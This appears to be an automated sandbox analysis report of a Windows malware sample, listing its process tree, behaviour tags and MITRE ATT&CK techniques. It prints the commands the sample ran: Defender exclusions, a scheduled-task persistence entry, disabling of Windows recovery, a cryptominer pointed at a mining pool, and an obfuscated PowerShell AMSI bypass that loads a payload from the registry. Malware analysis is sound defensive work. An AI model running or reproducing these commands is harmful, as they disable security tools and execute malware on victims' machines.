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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-43f8e0bc-ade8-41b0-a449-0500deb67fb6 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-14691b30-4541-4b7a-8500-812e1806344e -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-73c95a4e-aca3-4921-b3eb-c7e7cce5bd39 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a67eeca5-4448-44b2-a9c3-649e56c83ecd -LifetimeId:be4ecd29-1f68-4126-b5f7-b00f71be3057 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:1112
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1488
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1076
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4516
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:572 -
C:\Users\Admin\AppData\Local\Temp\2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"4⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:524
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C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
PID:1464
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C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\system32\ReAgentc.exereagentc /disable6⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:3348
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C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4168 -
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2936
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5460 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4356
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C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX6⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4824
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 05⤵
- Power Settings
PID:2960
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 05⤵
- Power Settings
PID:4988
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 05⤵
- Power Settings
PID:1632
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 05⤵
- Power Settings
PID:2144
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 05⤵
- Power Settings
PID:3244
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C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 05⤵
- Power Settings
PID:1556
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C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off5⤵
- Power Settings
PID:4348
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C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul5⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1168 -
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.86⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1792
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 77.73.20.192:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x/[email protected] -p x -k --cpu-max-threads-hint=805⤵
- Badlisted process makes network request
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
PID:4616
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C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1284
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2168
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2372
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2384
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2436
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵PID:5024
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2896
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2988
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:3064
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3248
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3596
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:3644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:812
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4384
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4556
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4612
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5176
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:3484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4312
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2664
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
PID:1404
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:2912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4920
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵PID:2624
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C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3352
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4728
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5744
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C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:BdnXofVOUJOW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$muMilYrAVCQWYu,[Parameter(Position=1)][Type]$YBRDgWSEVJ)$hALpQjdRgEh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+'e'+''+[Char](100)+'De'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'em'+'o'+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+'p'+[Char](101)+'','C'+'l'+''+[Char](97)+''+'s'+''+'s'+','+'P'+'u'+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hALpQjdRgEh.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+'a'+'m'+''+'e'+''+[Char](44)+'Hi'+[Char](100)+''+'e'+''+'B'+'yS'+[Char](105)+'g'+','+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$muMilYrAVCQWYu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$hALpQjdRgEh.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$YBRDgWSEVJ,$muMilYrAVCQWYu).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $hALpQjdRgEh.CreateType();}$mXPegJaZlqveY=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+[Char](111)+'sof'+[Char](116)+'.'+[Char](87)+'i'+'n'+''+[Char](51)+''+'2'+'.U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+'ti'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$UBqwNpNtFMaqio=$mXPegJaZlqveY.GetMethod('GetPr'+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fCDxxlRrOhhwEkkKnTW=BdnXofVOUJOW @([String])([IntPtr]);$GQgrFEAuqddWQcgOuLyEMo=BdnXofVOUJOW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mHaCunnuZbf=$mXPegJaZlqveY.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'ne'+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$TFZnUyIhuhSGoj=$UBqwNpNtFMaqio.Invoke($Null,@([Object]$mHaCunnuZbf,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'dLib'+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$tGLqKAjxnOMHaKiMG=$UBqwNpNtFMaqio.Invoke($Null,@([Object]$mHaCunnuZbf,[Object]('V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'ct')));$cpOidBv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TFZnUyIhuhSGoj,$fCDxxlRrOhhwEkkKnTW).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$PyXZEfGvcUweHcJem=$UBqwNpNtFMaqio.Invoke($Null,@([Object]$cpOidBv,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+'n'+'Bu'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$govRVgSYoy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tGLqKAjxnOMHaKiMG,$GQgrFEAuqddWQcgOuLyEMo).Invoke($PyXZEfGvcUweHcJem,[uint32]8,4,[ref]$govRVgSYoy);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](238-107),[Byte](105+130),[Byte](221-221),[Byte](20+164),[Byte](220-133),[Byte](11-11),[Byte](231-224),[Byte](177-49),[Byte](98+39),[Byte](16+203),[Byte](204-9),[Byte](164-33),[Byte](144+90),[Byte](208-208)),0,$PyXZEfGvcUweHcJem,94-80);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tGLqKAjxnOMHaKiMG,$GQgrFEAuqddWQcgOuLyEMo).Invoke($PyXZEfGvcUweHcJem,[uint32]8,0x20,[ref]$govRVgSYoy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+'$'+'S'+[Char](72)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:BdnXofVOUJOW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$muMilYrAVCQWYu,[Parameter(Position=1)][Type]$YBRDgWSEVJ)$hALpQjdRgEh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+'e'+''+[Char](100)+'De'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'em'+'o'+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+'y'+'p'+[Char](101)+'','C'+'l'+''+[Char](97)+''+'s'+''+'s'+','+'P'+'u'+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hALpQjdRgEh.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+'a'+'m'+''+'e'+''+[Char](44)+'Hi'+[Char](100)+''+'e'+''+'B'+'yS'+[Char](105)+'g'+','+''+[Char](80)+''+'u'+''+'b'+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$muMilYrAVCQWYu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$hALpQjdRgEh.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$YBRDgWSEVJ,$muMilYrAVCQWYu).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $hALpQjdRgEh.CreateType();}$mXPegJaZlqveY=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+''+[Char](111)+'sof'+[Char](116)+'.'+[Char](87)+'i'+'n'+''+[Char](51)+''+'2'+'.U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+'ti'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$UBqwNpNtFMaqio=$mXPegJaZlqveY.GetMethod('GetPr'+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+[Char](100)+'re'+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fCDxxlRrOhhwEkkKnTW=BdnXofVOUJOW @([String])([IntPtr]);$GQgrFEAuqddWQcgOuLyEMo=BdnXofVOUJOW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mHaCunnuZbf=$mXPegJaZlqveY.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'ne'+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$TFZnUyIhuhSGoj=$UBqwNpNtFMaqio.Invoke($Null,@([Object]$mHaCunnuZbf,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'dLib'+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$tGLqKAjxnOMHaKiMG=$UBqwNpNtFMaqio.Invoke($Null,@([Object]$mHaCunnuZbf,[Object]('V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'ct')));$cpOidBv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TFZnUyIhuhSGoj,$fCDxxlRrOhhwEkkKnTW).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$PyXZEfGvcUweHcJem=$UBqwNpNtFMaqio.Invoke($Null,@([Object]$cpOidBv,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+'n'+'Bu'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$govRVgSYoy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tGLqKAjxnOMHaKiMG,$GQgrFEAuqddWQcgOuLyEMo).Invoke($PyXZEfGvcUweHcJem,[uint32]8,4,[ref]$govRVgSYoy);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](238-107),[Byte](105+130),[Byte](221-221),[Byte](20+164),[Byte](220-133),[Byte](11-11),[Byte](231-224),[Byte](177-49),[Byte](98+39),[Byte](16+203),[Byte](204-9),[Byte](164-33),[Byte](144+90),[Byte](208-208)),0,$PyXZEfGvcUweHcJem,94-80);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tGLqKAjxnOMHaKiMG,$GQgrFEAuqddWQcgOuLyEMo).Invoke($PyXZEfGvcUweHcJem,[uint32]8,0x20,[ref]$govRVgSYoy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+'$'+'S'+[Char](72)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1460
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
